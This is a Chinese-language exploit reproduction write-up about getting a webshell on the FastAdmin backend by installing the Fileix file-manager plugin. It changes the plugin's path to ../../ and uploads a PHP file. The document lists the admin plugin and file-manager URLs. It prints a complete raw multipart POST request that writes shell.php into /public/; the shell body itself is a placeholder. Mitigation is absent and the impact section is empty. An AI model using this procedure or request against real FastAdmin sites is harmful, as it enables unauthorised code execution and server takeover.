FastAdmin 第三方插件后台getshell¶
一、漏洞简介¶
FastAdmin是基于ThinkPHP5和Bootstrap的后台框架,可以利用三方插件GetShell
二、漏洞影响¶
三、复现过程¶
开启phpstudy本地搭建
安装成功,新版源码的后台地址是随机生成的
后台默认会有插件管理功能,但是绝大部分用户会把这个功能阉割掉
Fileix文件管理器离线安装包官方下载地址:
https://www.fastadmin.net/store/fileix.html
点击离线安装,选择上传你下载的ZIP离线安装包
插件安装完成会自动启用,默认路径配置是这样的
然后打开是这样的
可以修改为 ../../,那么再打开就是这样的
然后浅显易懂,直接右键上传php文件就能getshell
上面是本地测试环境,真实环境会出现这样一个问题,就是点击文件管理功能不会显示任何内容
后来了解一下是因为没有配置前台页面,不太好修改,所以利用下面的方法
通用方法¶
1.插件管理地址:
/admin/addon?ref=addtabs
进入后台默认不显示插件管理功能,访问插件管理地址,上传离线安装包
2.文件管理地址/读取所有文件地址:
/admin/fileix?ref=addtabs/admin/fileix/lst
真实环境中如果出现不显示功能的情况,必要时可以读取所有文件地址
3.上传poc:
POST /admin/fileix/data?target=%2F HTTP/1.1
Host: www.baidu.com
Content-Length: 1050
Origin: http://www.baidu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrZmyeAB3SciJDWST
Accept: */*
Referer: http://www.baidu.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=xxxxxxxx
Connection: close
------WebKitFormBoundaryrZmyeAB3SciJDWST
Content-Disposition: form-data; name="upload"; filename="shell.php"
Content-Type: application/octet-stream
code
------WebKitFormBoundaryrZmyeAB3SciJDWST
Content-Disposition: form-data; name="action"
upload
------WebKitFormBoundaryrZmyeAB3SciJDWST
Content-Disposition: form-data; name="target"
/public/
------WebKitFormBoundaryrZmyeAB3SciJDWST--
修改host地址post过去
利用poc成功上传shell